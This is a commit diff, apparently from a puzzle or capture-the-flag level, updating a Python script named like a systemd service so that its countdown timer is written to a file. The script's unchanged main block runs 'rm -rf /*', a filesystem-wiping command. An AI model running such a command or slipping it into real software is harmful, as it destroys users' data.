Level/Level5/systemd-hdtob.py aktualisiert
This commit is contained in:
@@ -2,14 +2,17 @@ import os
|
|||||||
import time
|
import time
|
||||||
import subprocess
|
import subprocess
|
||||||
import pwd
|
import pwd
|
||||||
|
|
||||||
def drop_privileges(user):
|
def drop_privileges(user):
|
||||||
pw = pwd.getpwnam(user)
|
pw = pwd.getpwnam(user)
|
||||||
os.setgid(pw.pw_gid)
|
os.setgid(pw.pw_gid)
|
||||||
os.setuid(pw.pw_uid)
|
os.setuid(pw.pw_uid)
|
||||||
|
|
||||||
def countdown(seconds):
|
def countdown(seconds):
|
||||||
for remaining in range(seconds, 0, -1):
|
for remaining in range(seconds, 0, -1):
|
||||||
mins, secs = divmod(remaining, 60)
|
mins, secs = divmod(remaining, 60)
|
||||||
print(f"{mins:02d}:{secs:02d}", end="\r")
|
with open("/home/crime5/timer.txt", "w") as f:
|
||||||
|
f.write(f"{mins:02d}:{secs:02d}")
|
||||||
time.sleep(1)
|
time.sleep(1)
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
subprocess.run(["rm", "-rf", "/*"])
|
subprocess.run(["rm", "-rf", "/*"])
|
||||||
|
|||||||
Reference in New Issue
Block a user